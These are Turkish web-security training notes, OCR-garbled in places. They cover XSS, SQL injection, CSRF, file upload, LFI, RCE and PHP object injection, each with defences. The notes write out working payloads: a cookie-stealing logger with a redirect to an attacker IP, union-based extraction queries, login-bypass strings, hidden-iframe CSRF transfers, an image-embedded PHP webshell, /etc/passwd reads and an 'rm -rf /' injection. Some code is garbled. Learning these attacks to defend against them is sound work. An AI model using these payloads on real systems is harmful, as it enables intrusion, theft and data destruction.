Reflected XSS bile yeri geldiginde tehlikelidir.

REFLECTED XSS

XSS, inputtan alinan veriyi filtrelemeden ge¢irmedigimiz icin ortaya c¢ikiyordu. Burada da
yine input filtrelenmemisse sayfaya "yansiyor".

Genelde request- response headerlarimizda akan verilerin ele gecirilmesi ile gerceklesir.
kullanicidan alinan degiskeni web sitesi direk ekrana basiyorsa en kolayindan
<script>prompt(1)</script> ile bir deneme yapariz. bakiyoruz alert aldik. alert aldiktan sonra
anlamamiz gereken sey sayfada javascript ¢alistirabiliyor oldugumuzdur. Gerisi artik hayal giiciiniize
kaliyor.. fakat bu da demek olmuyor ki istediginiz gibi at kosturabilirsiniz. developer arkadas belkide
kendince korunmustur. (Whitelist, blacklist) peki o zaman ne olacak temel olarak bizim "script"
yazdigimizda yaziy: siliyorsa biz de sildiginde ortaya script gikmasini saglayabiliriz. Peki nasil? ig ice
payload hazirlayacaksin

<ScRscriptiPt>prompt(1)</ScRscriptiPt> buna bir 6rnektir. En sik kullanilanlar:

alert(1) = alert '1' {baydi}



prompt()

confirm()

onmouseover="prompt("xss");", onchance ="xss"
<svg/onload=prompt("'xss")>

<img src=javascript:prompt("xss")>

DOM BASED XSS (document object model)

DOM, document object model den gelmekte. dom sayfada bulunan nesnelere miidahale
etmemizi sagliyor. (mert(sarica) hocanin ctflerinden birisinde ¢dziim esnasinda kullandigimizi
amimsiyorum.) burada da temel xss mantig1 devrede. diizgiin filtrelenmemis parametrelerin js kodu
olarak yorumlanmasi sonucunda ortaya ¢ikiyor. client side ve server side da da etkilenebiliyoruz.
reflected xss ten mantik olarak pek farki yok.

url = abc.com/xyz.php?#aa

# bizim Location.hash kismimiz buraya yazdiklarimizi browserimiz request olarak algilamiyor. Peki
bu bize ne sagliyor?? Tabiki de waf'l hi¢ yorulmadan bypass etmis oluyoruz.

ornek = abc.com/xyz.php?#aa=<script>prompt(document.cookie)</script>

STORED XSS // herhangi bir social engineering, phishing vb. ye gerek yok.

Ad tistiinde depo edilmis xss tiirtimiizdiir. reflected gibi inputa yazdigimizda anlik deger
doéndiirmiiyor bunu database e yaziyor boylece diger tiirlerimizden biraz daha tehlikeli olabiliyor.
Zararh kod database e yazildigindan dolay1 en ¢cok yorum yerleri, login formlari vs yerlerde karsimiza
cikiyor. O an alert verilmis sayfay1 goriintiileyen kim varsa aym zafiyetten etkileniyor.



EXPLOITATION ASAMASI

Zafiyetin inputlardan alinan verinin filtereden gecirilmedigi icin ortaya ciktigini tekrar
sOyledikten sonra herhangi bir inputu "'><text karakterleriyle zorluyoruz. Kaynak koda baktigimizda
hangi karakterleri kullanmamiza olanak saglandigim kontrol ediyoruz. Herhangi bir text kismin
eklememizin sebebi de bu aslinda. Kaynak kod icerisinde daha rahat bir sekilde filtrelenmemig
karakterleri 68renebiliyoruz. Daha sonra ise kullanabildigimiz karakterler ile payload yazma
islemimize geciyoruz. Burada tek tek payload yazmayi tabiki de géstermeyecegiz. Topladigimiz
payloadlar i¢in (special thanks to Murat Yilmazlar :D ) ;

https://github.com/Om3rCitak/lyk2016/blob/master/xss_payloads.txt

// Yaklasik 800 adet payload bulunuyor. E bunlarn tek tek deneyecek misiniz? Tabiki de hayr.
Isterseniz xssfinder yazabilirsiniz, biz simfca xssfinderimiz1 yazdik. Vulnerable input tespiti yaptiktan
sonra isterseniz herhangi bir wordlist entegre ederek payload denemeyi otomatize edebilirsiniz. Yok
ben ¢ok tisengec bir insanim kod felan yazdirma bana derseniz de; yardiminiza Burp Suite kosabilir.
Intercept ettigimiz paketi Intruder'a gonderdikten sonra Payloads meniisiiniin altinda Payload Options
kismindan payloadlist imizi load edebiliriz. Daha sonra Positions kismina gelip vulnerable input
kismina payload markerimizi atarak saldiriy1 gergeklestirebiliriz. Output Length kiyaslamas1 yaparak
hangi payload ile zafiyeti exploit ettiginizi daha rahat anlayabilirsiniz.

<?php
$kuki = $_GET]["cookie"];
$file = fopen('log.txt', 'a");
fwrite ($file, $kuki. "\n" );
fclose ($file)

>

//olusturulan log.txt ye yetki verilir. --> chmod 777 log.txt

payload(1) yonlendirme ile --> <svg/onload=window.location= "http://ipadresimiz/<php?
=+document.cookie>


http://ipadresimiz/

payload(2) zararli.js ile -->

<img id=my_image>
<script>
$(document).ready(function(){
$("#my_image").attr("SRC(!)", "attacker™)
)

</script>

XSS iLE NELER YAPABILIRiZ?

Session hijacking yapabiliyoruz. Yani bir kullanicinin oturumunu admin dahil olmak iizere
calabiliyoruz. Yukarida bir érnegini yaptik. Peki bundan nasil korunacagiz? Session idmizin siirekli
degismesini saglayarak. Béylece cookiemiz ¢alinsa bile session idlerimizin siirekli degismesini
saglayabiliriz. Hangi kiitiiphane'yi kullanabiliriz?

--> phpde session_Regenerate_id().

Kullanicilar herhangi bir siteye yonlendirerek sitenin genel goriiniisii agisindan kullaniciyt
rahatsiz edebiliriz.

En basitinden <svg onload="document.body.innerHTML='<img src="komiklikedivideosu""”>
Fake bir login page olusturarak kullanici bilgilerini galabiliriz.
Tarayicisinin crash olmasini saglayabiliriz.

Kullanicinin istedigimiz dosyayi indirmesini saglayabiliriz. Bilin¢li olmayan bir kullanic
olmasi takdirde olusturdugumuz zararh dosya indirmesini saglayarak shell almamiza kadar olanak
saglayabiliriz.

Yapabileceklerimiz aklimda oldugu kadar bu kadar. XSS is the new buffer overflow
yazacagim diye korkmadim degil. Saka tabi saka :D M

Ferruh abinin de XSS Tunneling postunu mutlaka okuyun. En azindan icerik hakkinda bilgi
vermek adina; "In my humble opinion this is the final point of "session hijacking". " diyerek cok giizel
Ozetlemis aslinda.

http://ferruh.mavituna.com/xss-tunnelling-paper-and-xss-tunnel-tool-oku/


http://ferruh.mavituna.com/xss-tunnelling-paper-and-xss-tunnel-tool-oku/

XSS KORUNMA YOLLARI

nmin

HTML specialchars kullanacagiz. HTML specialchars ">< engelliyor. fakat
htmlspecialchars kullanilacak ise 2. parametre olarak ENT_QUOTES verilmelidir ->
htmlspecialchars($variable, ENT_QUOTES);

engellemiyor.

// Omer Citak'in bu konuda yazdig1 bir diger yaz icin; http://omercitak.com/xss-saldirilarindan-
htmlspecialchars-ile-korunmak-ne-kadar-guvenli

* eger ENT_QUOTES kullanilmamigsa bypass edebiliyoruz.

HTML taglerinin attributelerinde mutlaka ¢ift tirnak kullanacagiz.

Kullanicidan alinan inputlarda "<>" ii URL encode ederek alacagiz.

nn

Kullanicidan alinan inputu bir attribute igerisinde
etmeliyiz.

icerisinde tutuyorsak bunlar da encode

HTTP Only kullanacagiz.

{" " ><} engelleyecegiz. Ayrica Whitelisting yapmaliyiz.

EN ONEMLISI --> inputtan alinan veriyi filtreden gecirmeden direk script taglerinin icerisinde artik
yazmiyoruz!

I Zafiyetin altinda yatan mantig1 artik hepimiz biliyoruz. Tool kullanmak yerine inputlarin ¢alisma
mantigini kesfedip, yasakl karakterlere bakip kendi payloadunuzu kendimiz olusturmamiz daha iyi
gelismemizi saglayacaktir.

SOP - Same Origin Policy

SOP, tiim tarayicilarin kabul ettigi bir politikadir. prensibi bir webserverden[kaynak] yiiklenen
scriptin yiiklendigi yerin 6zelliklerini degistirmemesini saglamaktir. Yani ortaya cikis sebebi giivenlik.
Bir domainin bize sagladig1 cookie'yi bagka bir domain'de kullanabilmemizi engelliyor. Yalnizca ayn
domain, ayn porta sahip olan kaynaklar same origin olarak siniflandirilabiliyorlar. Same origin olan
kaynaklar aralarinda iletisim kurabilirken same origin olmayan kaynaklar birbirlerinin icerigini
degistiremiyorlar. Anladigimiz {izere aslinda XSS'in tiim browser tizerinde bir hakimiyet kuramiyor
olmasinin sebebi de dogal olarak SOP'dan kaynakli oluyor.


http://omercitak.com/xss-saldirilarindan-htmlspecialchars-ile-korunmak-ne-kadar-guvenli
http://omercitak.com/xss-saldirilarindan-htmlspecialchars-ile-korunmak-ne-kadar-guvenli

SQL INJECTION

Kullanicidan bir veri aliyoruz ve veriyi herhangi bir filtreden gecirmeden sql querysinin
icerisine sokuyoruz. bunun sonucunda saldirgan igeride farkli bir sorgu yapabiliyor. Mantik verinin
islendigi yere kendi queryimizi yazarak veritabanin bilgi aciga ¢ikartmak. INSERT-UPDATE-
DELETE fonksiyonlarini veritabani tizerinde kullanmamiza olanak saglhyor.

// Inews/21/ = /news?id=21 (ht.access dosyasi igerisinden nasil gérntiilemek istedigimizi
belirtebiliyoruz. //

// transact structured query language {tsql}

-server [localhost]

- user [root]

-scheme -> [database]

-table [users]

-column [id username password image] siitun
-row (s) satir

-field bolge- { mesela uzun bir rowdaki bir kismimiz bir fieldimiz oluyor. }

Varchar(255) mesela bize o bélgede 2/x kadar yer ayiriyor. 255 olduysa bize 256 lik bir yer ayirmistir.
(2/8) fakat bizim daha fazla yer kullanmamiz amaciyla sinir1 eger 28 olacaksa 255 kullanmamiz 277
olacaksa 127 olarak kullanmamiz daha mantikli bir islem olacaktir.

Ornek sql sorgusu: select password from users where id = 2

--table_schema > veritabam
--table_name > tablo ad1

--column_name > siitun ad1

SELECT * FROM TABLES WHERE TABLE_SCHEMA =LYK2016'
SELECT * FROM NOTLAR WHERE "NOT” >= 2111111110

SELECT* FROM COLUMNS WHERE TABLE_NAME = 'USERS'



// MyISAM > foreign key kullanmadig: icin islemlerimizi ¢ok izl siirede gerceklestiriyor. fakat
disavantaji sildigimiz verilerin geri doniisiiniin olmamasi.

// InnoDB > foreign key kullanir. Yavastir bu yiizden yaptigimiz islemler geri alinabilir.

select veri cekme
insert veri ekleme

update veriyi giincelleme

information_schema bizim en ¢énemli seyimiz. veri tabainin yapisi hakkinda bilgi veriyor.
kolon adlar veri tipleri vb. yalmzca yapi bilgisi var. verilerimiz yok. username kolonu olsa da
username icerisindeki oguzhan, omer vb. yok.

Veri tabanim hakkinda bilgi edinmeden dogal olarak sorgumuzu yazamiyoruz.

include""; hata olsa bile ¢alistirir.

require ""; hata varsa calistirmaz. ki mantikli olan budur kodda hata varsason kullaniciya kodumuzu
gostermek yerine hata kodunu géstermek mantikli olandir.

require_once ; ikinci kez dahil etmemek icin kullanilir.

baklavacms 5.4.2
5 major degisiklik
4 minor degisiklik

2 bugfix anlamlarina gelmektedir.

UNION BASED SQL INJECTION

Islevini yitirttigimiz bir sorgu ile kendi yazacagimiz bir sorgunun yan yana calistirilmasidr.
Sorgunun islevini nasil yitirtebiliriz? Sorguyu synxtax error veya runtime error a diisiirerek ya da en
basitinden birinci sorguyu olmayan bir sayfaya yonlendirerek

Sorgunun islevini yitirmesinden sonra;



EXPLOITATION ASAMASI //union means bring together..//

Elimizde bir seviyeden sonra bazi bilgilerin olmas1 gerek bunlar ;

Once version
Sonra veritabani ad:
Sonra tablo ad1

Sonra kolon adi. Fakat 6nce bu bilgileri elde etmemiz icin gereken asamaya kadar gelelim.

1-- Kag kolon oldugunun tespit edilmesi;

ORDER BY 1
ORDER BY 2
ORDER BY 3

ORDER BY 4 ta ki sayfada hata alana kadar islem devam ettirilir. Sonunda veritabaninda kag kolon
oldugu bilgisine varilmis olur.

2-- Vulnerable column tespiti;

index.php?id=21 idi. biz bu id yi o sitede olmayan bir id haline getirmemiz gerekiyor. "-200"
kullanabiliriz :) boyle bir sey yapmamizin sebebi union un calismasinin diger sql sorgusunda hata
olmasi sonucu devreye girmesidir.

index.php?id=-200 UNION SELECT 1,2,3,4 yazdirilir. hangi kolondan veri dénerse o say1li kolon
vulnerable dir. Sitemizde 3. kolonun deger dondiirdiigiinii varsayarak devam edersek 6grenmemiz
gereken sey version ve database adiydi. bunu UNION SELECT 1,2,version(),4 ile yapabiliriz.
Database adini ise:

UNION SELECT 1,2,database(),4 ile 6grenebiliriz.
union select 1,2,version()
union select 1,2,database()

union select 1,2,user()



/// hackbar eklentisi bunu otomatize ediyor.

/11 select from arasi yazdiklarimizi frontend kisminda gorebiliyoruz. sql dili bilmedigimden dolay1
biraz gereksiz bilgi veriyor olabilirim..

3-- Tablo adlarim 6grenme: UNION SELECT 1,2,table_name from information_schema.tables where
table_schema=database()

Burada table_name yerine group_concat(table_name) ile hepsini ogrenebiliriz.

4-- Kolon isimlerini 6grenme: UNION SELECT 1,2,COLUMN_NAME FROM
INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME = "USERS'

burada UNION SELECT 1,2,group_concat(columns_name) ile tiim kolon isimlerini 6grenebiliriz.

5-- VERI CEKME: UNION SELECT 1,group_concat(login,0x...,password),3,4 from users where id
=1

id = 1 olmasinin sebebi ilk eklenen kullancinin yénetici olmasiyla alakalidir. mysql de eklenen ilk
kullanici idsi 1 olan kullanicidir.

Specialchars da bypass edebiliyoruz. (e.g %20 = space & /**/ = space vb.) Ornegin order by
ile kolon tespiti yaparken arkadaki sistem spacei direk siliyor yani orderby1 haline getiriyor olabilir.
biz bunu order+by+1 haline getirerek islemimize kaldigimiz yerden devam edebiliriz. Aym sekilde
/**/order/**/by/**/1 ile de kolon tespitine devam edebilmekteyiz. Yani
"id=1/**/ORDER/**/BY/**/5" de de patlayabilmektedir.

LOGIN BYPASS

Zaten isminden de anlayabiliyoruz. Sorgu disina ¢ikip sonucu stirekli true dondiirerek database
i cekmek veya adminin tiim field i1 ¢ekerek username, password'una ulasmamizi saglar.

or1=1



or 1=1--

or 1=1#

or 1=1/*

admin' --

admin' #

admin'/*

admin' or '1'="1
admin' or '1'="1"--
admin' or '1'="1'#
admin' or '1'="1"/*
admin'or 1=1 or "='
admin' or 1=1
admin' or 1=1--
admin' or 1=1#
admin' or 1=1/*
admin") or ('1'="1
admin') or ('1'='1"--
admin’) or ('1'="1'#
admin') or ("'1'="1"/*
admin') or '1'="1
admin') or '1'="1"--
admin') or '1'="1"/*
admin" --

admin" #

admin"/*

admin" or "1"="1
admin" or "1"="1"--
admin" or "1"="1"#

admin" or "1"="1"/*



n_n

admin"or 1=1 or
admin" or 1=1
admin" or 1=1--
admin" or 1=1#
admin" or 1=1/*
admin") or ("1"="1
admin") or ("1"="1"--
admin") or ("1"="1"#
admin") or ("1"="1"/*
admin") or "1"="1
admin") or "1"="1"--
admin") or "1"="1"#

admin") or "1"="1"/*

BLIND SQL INJECTION

Bir proje lizerinde calisiyorsunuz. Calistiginiz yerde iki adet makinaniz var. Birincisi
production makinaniz, ikincisi ise deployment makinaniz olsun. 3 kisi kod yaziyorsunuz. Herkes kodu
deployment iizerinde yaziyor. En son ise birlestirip productiona koyuyorsunuz. Fakat productioninizin
sOyle bir dzelligi var. Hata mesajlarini son kullaniciya géstermiyor? {displayerror:none} Burada bir
sorun var mi? Yok. Olmasi gereken de bu. Biz Union Based SQLi de hata aliyor daha sonra zafiyeti
somiirme agsamamiza geciyorduk. E productionda hata goziikmiiyor? Nasil zafiyeti tespit edecegiz?
Tam burada "and" kullaniyoruz. Elimizde soyle bir url olsun;

x.php?id=10 and 1=1 yazdigimizda yanlis bir sey olmasini bekler miyiz? Tabiki de hayir. Sorunsuz bir
sekilde sayfa oniimiize tekrar donecektir. Clinkii sonu¢ TRUE'dur. Devam edelim..

//or = | (pipe)
/fand = &

Bu sefer urli x.php?id=10 and 1=2 haline getirelim. Inceledigimizde 1=2 false dénmelidir. Bu
sekilde gonderdigimizde sayfamizda true dondiikten sonraki halinden daha az veri var ise burada blind
sqli oldugunun farkina variyoruz.



Peki kolon tespitine nasil devam edecegiz? Sonugta order by kullanirken herhangi bir sekilde
sorguyu syntax error, runtime error vb. diistirmiiyorduk?

Artik order by yerine kolon tespiti icin UNION SELECT ile devam ediyoruz.

x.php?id=10 and 1=0 UNION SELECT 1,2,3,4 seklinde kolon sayis1 tespiti yapiyoruz. Aslinda burada
zafiyet ismi gibi korlemesine bir saldir1 mevcut desek pek de yanlis demis olmayiz. Aklimizda
bulundurmamiz gereken tek bir diisiince olmasi gerek. Bunun icin de Lise 3'e doniin. Degilinin degili
nedir?

x.php?id=10 and 1=0 UNION SELECT 1,2,3,4 // burada vulnerable column tespiti yaptiktan sonra
tablo ismini 6greniyoruz, kolon ismini 6greniyoruz. Vee verimizi ¢ekiyoruz.

$id = ($_get[id]);
echo($id)
if ($id<1 || $id>11){

$id =1;

#Boyle bir sey de de and 1=0 ile devam etmistik. Agiklama yapmadan notlarimin bir kdgesine
yazmigim..

$id = (int) intval($_get[id]);
echo($id)
if ($id<1 || $id>11){

$id =1;

#Burada ise get ile aldig1 id degiskenini ne olursa olsun integer olarak algilayacagimizdan 6tiirii
korunmus olacagiz.

TIME BASED (similar with blind *-*) SQL INJECTION

Time delay mantig ile database e evet mi? hayir mi1? sorularini sordurup evetse bu kadar bekle
hayirsa bu kadar bekle diyerek herhangi bir cevap dénmeden ¢ikarimda bulunabiliyoruz.



MySQL'de
SLEEP(time)

BENCHMARK(count,expr) fonksiyonlarini,

SQL Server'da
WAIT FOR DELAY

WAIT FOR TIME fonksiyonlarim kullanabiliyoruz.

Ama biz soru soracaktik? Peki onu nasil yapacagiz? Soyle, kullanilabilecek condition
syntaxlardan yararlanacagiz

MySQL'de

IF

SQL Server'da

IF

ELSE

Oracle'da

IF THEN END IF

Ornek MySQL Time-Based Attack

SELECT * FROM products WHERE id=1-IF(MID(VERSION(),1,1) = '5', SLEEP(15), 0)

# eger serverin cevap vermesi 15 saniyeden uzun siiriiyorsa database serverin 5.x iizerinde ¢alistig1

varsayimina ulasabiliriz. Ciinkii SLEEP() fonksiyonu yalnizca MySQL5.0 ve {izerinde calismaktadir.
AA



Ornek SQL Time-Based Attack

SELECT * FROM products WHERE id=1; [F SYSTEM_USER="oguzhan' WAIT FOR DELAY
'00:00:15'

#Burada ise serverin cevap verme siiresine bagl olarak oguzhan adina bir user olup olmadigi
cikarimini yapabiliyoruz.

// genel olarak zararh sql kodlarimiz1 yazarken elbet ¢ook iyi bir sekilde encode etmemiz gerekecek.
Boolean based sqli de byte byte data cekmemiz gerekecek. Fakat asla pes etmiyoruz M

SQL INJECTION KORUNMA YONTEMLERI

- Veritabani siiriimiiniizii giincel tutacagiz.
- mysqli engine kullanacagiz.

- mysql_real_escape_string kullanacagiz. // Sorguyu bozmak igin tek tirnak kullaniyorduk. Tirnaklar
escape ediyor. Yaklagik 4-5 sene once ¢ikan bir zafiyet var fakat su an fix edilmis durumda.

- URL Rewrite kullanacagiz.
- Tek tirnag1 chr(146) ile replace edebiliriz. "™
- php.ini de magic quotes i "on" yaparak en azindan daha giivenli hale gelebiliriz.

- Veritabanina yalnizca internal ip'den erisilmesini saglayabilirsiniz.

- INSERT UPDATE DELETE vb. izinler yalnizca admin'de bulunmali. Bagka kullaniciya bu izinler
tanimlanmamali.

- PDO:: kullanacagiz. pdo, classtan orm ye geciste atilan bir adim.
- ORM kullanacagiz.
- Doctrine
- Elequent te mesela find(1) yazinca arkada sorguyu kendisi yaziyor
- Propel
- Entity
- Hibernate

Bunlar url rewrite kullandig i¢in news.php?id=1 seklinde bir sey zaten gérmemis oluyoruz.



*VULNERABLE*
is_int()

addSlashes fonksiyonlarim kullanmiyoruz! Aslinda addSlashes temel olarak
mysql_real_escape_sting gibi tirnaklar1 escape ediyor. Fakat zafiyet barindirdigindan otiirii
kullanmiyoruz.

CSRF- CROSS SITE REQUEST FORGERY

-GET

- POST methoduyla olmak iizere saldirilar ikiye ayiriyoruz.

Herhangi bir siteye haberiniz olmadan bir request génderilmesi olarak aciklayabiliriz. Request
Forgery ismi de zaten buradan gelmekte.

Bir bankanizin oldugunu diisiiniin. Bankamzin bir de websitesi var. Dogal olarak internet
bankacilig ile bir hesaptan bagka bir hesaba para transferi yapilabiliyor. Elimizde soyle bir URL
olsun;

http://bankamz.com/eft/transfer?amount=100.00&routingNumber=1234&account=9876

URL'e baktigimizda 9876 no'lu hesaba 100tl gonderilmekte. Bankanizda genel para transferi bu
sekilde isliyor. Tabi islemin sonuglanmasi i¢in bilgisayarinizda bankaniza oturum agilmis olmasi
gerekiyor. Devam edelim. Saldirgan hazirladig1 sahte websitesi icerisinde zararli kodlarim eklemis
oluyor. Ornegin;

<style>
iframe{display:none;}
</style>

—n

<iframe id="xx" src="http://bankaniz.com/eft/transfer?
amount=9999.00&routingNumber=1234&account=Hackerinaccountidsi"></iframe>

<h1>0Oguzhan Karaaslan</h1>
<script>

document.getElementByld("xx").submit();



</script>

Saldirgandan gelen linke tikladigimizda hesabinizdan saldirganin hesabina para transfer
edilmis oluyor. Burada siteye tikladiginda "Oguzhan Karaaslan" yazisini goriince tabi biraz
kugkulanmus olabilir. Isterseniz bos bir(!) resme yénlendirelim ve arkadagin ruhu bile duymasin.

<style>
iframe{display:none;}
</style>

<img src="http://bankaniz.com/eft/transfer?
amount=9999.00&routingNumber=1234&account=Hackerinaccountidsi” width="0" height="0"/>

Tahmin ettiiniz gibi bir resim gosteriyoruz. Kaynak kismina transfer urlimizi girdik. Boyutu
olmayan (!) bir resim gosterdigimizden arka tarafta istek coktan gitti. Fakat maalesef siz o sirada
arkadasimizin attig1 link icerisindeki komik kedi videosunu izliyordunuz... GET methodu ile
yapabilecegimiz saldirilar bu sekilde islemekte.

Kampta iken bize verilen case'de yetkimizi degistirerek admin yetkileriyle giris yapmamiz
isteniyordu. Herkesin bir useridsi bulunuyordu. Bununla 6ncelikle kayit formundan login oluyor daha



sonra ise yetki_degistir.php tizerinden admin olmaya calisiyor fakat gerekli iznimiz olmadig1 uyarisi
aliyorduk. Gelin bir de POST methodu ile saldir1 yapalim. Form olugturarak devam edelim.

<form id="hacker" action="http://x.x.x.x/kayitol.php" method="post">

<input name=username value="<img src=x onerror=location.href="http://x.x.x.x/yetkidegistir.php?
user_id=3(yetki vermek istediginiz user idsi)&yetki=1(adminyetkileriyle)>"

</form>

<script>
document.getElementByld("hacker").submit();
</script>

Bunu da aym1 GET methodunda oldugu gibi kurban olan admine yolladigimizda admin ac¢tig1
takdirde bizim kayit olurken kullandigimiz user'r admin yapacak request arkada gitmekte boylece biz
de artik admin yetkilerine sahip olmus oluyoruz. Veya isterseniz arkaya bir js dongtisii
yazip( kullanicilan silen) uzun bir blog posta yénlendirdiginiz takdirde adminin postu okumasini
bitirene kadar arkada istediginiz kodu sitesinde calistirabilirsiniz. Burp Suite Professional'in CSRF
PoC eklentisini kullanarak ( PoC or it didn’t happen) da formumuzu olusturarak zafiyeti istismar
edebiliriz. Ayrica Javascript Request methodlari;

1-ajax

2-xhr -daha ilkel {ajax yokken bu vardi heheyt...}




Nasil Korunacagiz?

Sadece Referer kontrolii yapmayacaksiniz ! Bununla bir koruma saglayamazsiniz. Araya
girerek Referer'i degistirebilecegimizi zaten anlattik.

Her sayfa yenilendiginde unique bir token olusmasini saglayabiliriz. Bu token'u ise forma
hidden input olarak ekleyecegiz.

Olusturdugumuz token u session'a kaydedecegiz. Request ile gelen token ile session'a
kaydettigimiz tokenu karsilagtiracagiz.

Yani saldirganin

--> "http://bankaniz.com/eft/transfer?
amount=9999.00&routingNumber=1234&account=Hackerinaccountidsi" yazmasi yeterli olmayacak
bir de token tahmini yapmasi gerekecektir.

--> "http://bankaniz.com/eft/transfer?
amount=999900&routingNumber=1234&account=Hackerinaccountidsi&token=xxxxxx"

ARBITRARY FILE UPLOAD VULNERABILITY

File Upload islemi genellikle sosyal medya, blog veya dosya paylasma(upload) sitelerinde
olan bir dzellik.

Local File Inclusion'a kadar gidebilecek bir zafiyet. Fakat bu en kiiciik zafiyet bile olabilir.

Genellikle filtreleme islemi;
Content-Type dogrulamasi
Dosya uzantisi adi ile dogrulama

Dosya icerigi dogrulmas: seklinde yapilmakta.

Content-Type dogrulamasi yapiliyorsa Burp Suite veya Tamper Data ile gndermeden 6nce
POST Data'y1 degistirerek bypass edebiliyoruz.

Dosya uzantisi adi ile dogrulama kisminda ise genellikle istemedigimiz uzantilan bir diziye
atarak filtreleme islemini gerceklestirebiliriz.

// e.g if $parse[1] !="jpg' #dizinin 2.elemaninin yani uzantinin jpg olmasi gerektigi vb.

// Fakat bunu da dosya adinda Null Byte kullanarak (%00) bypass edebilmekteyiz.



Ornegin; shell.php%00.pdf

Dosya Icerigi ile dogrulamada ise genellikle icerigin header'1 kontrol edilmekte.

Ornegin normal bir jpg/jpeg dosyasimin header:

JFIF\x00
ydya . JF IF..
pdf headeri:
%PDF

gif header1:
GIF87a

GIF89a seklinde olmakta.

Peki biz bunu kullanarak bu filtreleme ydntemini nasil bypass edebiliriz?

Kendimiz bir image dosyas1 olustururuz. Binary data icerisine ise en basta GIF89a/GIF87a veya kabul
edilen herhangi bir uzantinin headerim yazariz. Eger web sitesi dosyay1 header1 okuyarak iceri aliyorsa
image dosyamiz artik iceride olacaktir. Yiikleme yapmadan 6nce binary data icerisine PHP kodumuzu

yazalim.

JFIF\x00
<?php
echo passthru($_GET['xy']); ?>

(...digerbinarydata...)

Burada garbage binary data arasinda olan kodumuzu php interpreter calistiracaktir. Komut
calistirmak amaciyla passthru kullandik. Kullanabilecegimiz tiim fonksiyonlar:



passthru
exec
system
shell_exec*

proc_open*

Ve kodumuzu yazdiktan sonra siteye upload ettik. Dosyanin tutuldugu konuma geldik.
http://x.x.x.x/deneme/1/2/shell.php
Olusturdugumuz php dosyasi igerisindeki degiskenimiz xy idi.
Simdi http://x.x.x.x/deneme/1/2/shell.php?xy=whoami

--> root

http://x.x.x.x/deneme/1/2/shell.php?xy=cat /etc/passwd
http://x.x.x.x/deneme/1/2/shell.php?xy=ifconfig
Artik 6ntimiizde webshell bulunmakta. Kullanacagimz komutlar hayal giiciiniize kaliyor.

Eger birkag filtreleme yontemi bir arada kullaniliyorsa ki muhtemelen dyle olacaktir.
shell.jpg.php, nullbyte kullanimi vb. islemler ile de bypass ederek shellinize erisebilirsiniz.

LFI - Local File Inclusion

Bu zafiyet ile;
* diger sitelerin icerisinde gezinebiliriz
* [etc/passwd okuyabiliriz.

! /etc/shadow no no no "requires root privilege!"



sayfa.php?sayfa=1.php

1.php

2.php

3.php

4.php seklinde sayfalari okumaya devam edebiliyorsak

sayfa.php?sayfa=../config/db.php de okuyabilirsiniz.

Zafiyet en cok shared hosting olayinda goriilmekte.
--> /var/www/html/oguzhankaraslan.com

--> /var/www/html/asdas.com ../oguzhan.karaaslan.com a ulasabilir veya home klasoriine gidebiliriz.
Eger Cpanel kullaniliyorsa oguzhankaraaslan.com home icerisinde domainin ilk 8 karakteriyle
kaydolmaktadir. Yani domainimizin klasorii oguzhank seklinde olacaktir.

--> /var/www/html/oguzhankaraslan.com

Local File Inclusion'da directory structure hakkinda bir bilgimiz yoksa Linux'ta kullandigimiz
bir {ist dizine ¢ikma iglevini "../" elimizden geldigi kadar atarak en iist dizine ¢ikmali ve ondan sonra
sistem dosyalarini okumaliyiz. Kullanacagimiz "../" 1n sayisinin hi¢cbir 6nemi yok. Zaten kok dizine
kadar ¢cikmigsak baska cikacagimiz yer olmayacagindan dolay: orada kalmis olacagiz. Atabildiginiz
kadar ../ atabilirsiniz.

--> http://x.x.x.x/lfi/sayfa.php?sayfa=../.././.0.0 0.0 0.0 .00 A Jetc/passwd

// en basit olarak Ifi i¢in $include($_get) arayabiliriz M

REMOTE CODE EXECUTION

Kullanicidan alinan input arka tarafta bir terminalde caligtiriliyorsa bizim verecegimiz zarar
Linux bilgimize kalmis oluyor. IP sorgulama sitelerince vs. karsimiza ¢gikmakta. Zafiyetin genel sebebi
eval() fonksiyonundan kaynaklanmakta. String olarak aldig: bir veriyi kod olarak yorumluyor. Binde
bir karsimiza ¢ikacak bir zafiyet. M1 acaba?

evall)

Showing 2,881,497 available code results @



1) eval(ping <input>)
2) eval(ping <input>; cat /etc/passwd) seklinde zafiyeti kullanabiliriz.

2.2) eval(ping <input>; rm -rf /)

Peki zafiyetten nasil korunacagiz?

Eval fonksiyonunu kullanmayacagiz. PHPnin kendi dokiimantasyonunda bile kullanilmamasi
gerektigi yaziyor:

Caution

The eval() language construct is very dangerous because it allows execution of arbitrary PHP code.
Its use thus is discouraged. If you have carefully verified that there is no other option than to use this
construct, pay special attention not to pass any user provided data into it without properly validating
it beforehand.

OBJECT INJECTION

Zafiyet unserialize() fonksiyonundan kaynaklanmakta. Kullanicidan alinarak serialize edilmis
bir verinin unserialize fonksiyonundan gecirilmesi sonucu ortaya ¢ikan bir zafiyet. Siirekli obje iiret
obje {iret sistemi yorabiliyor. Bunun yerine veriyi serialize edip istedigimizde unserialize ile
kullanabiliyoruz. Bu fonksiyonlarla kullanici verileri yine kullanicinin cookiesinde ve sessionunda
saklanmakta.

Serialize edilmis bir datay1 inceleyelim:

0:6="deneme" : 1: { s:7:"oguzhan"; s:9:"karaaslan"; }

o: Object. Ayni sekilde Array ve Variable da kullanabiliyoruz.
6: Deneme classinin byte degeri.

1: 1 variable oldugunu belirtiyor.

s:7 : Variable'ln kendisinin byte degeri.

s:9 : Value'nun byte degeri.

Serialize edilmis bir objeyi ise unserialize fonksiyonu ile tekrardan objeye cevirilebilmekte.
Unserialize fonksiyonu ¢alistiginda bazi fonksiyonlar tetiklenmekte. Bunlar:

__wakeup ve

__destruct fonksiyonlari.



Bizim zarar gérecek olmamizin sebebi ise __destruct fonksiyonunun calisirken variablelar: bir
yere yaziyor olmasl ve bizim buna browser iizerinden ulasabiliyor olmamiz. Biz artik serialize edilmis
bir yapinin igerigini degistirebilecegimizi biliyoruz. Oyleyse artik yapacagimz tek sey igerigi
degistirdikten sonra __destruct fonksiyonunun ¢alismasini saglamak ve fonksiyonun variablelar
yazdi@1 yere ulagsmak. Serialize edilmis bir datada degisikligimizi yapalim. Once unserialize edip
degisikligi yapip sonra tekrar serialize edebilirsiniz ya da elinizle tek tek byte saymaniz gerekmekte.
Serialize edilmis datay1 unserialize etmek icin var_dump() kullanabilirsiniz.

Serialize edilirken veri genelde base64 ile tutulmakta. Bu anlattigimiz gibi veri bozulmasini
onlemek amaciyla kullanilan bir yontem. Devam edelim.

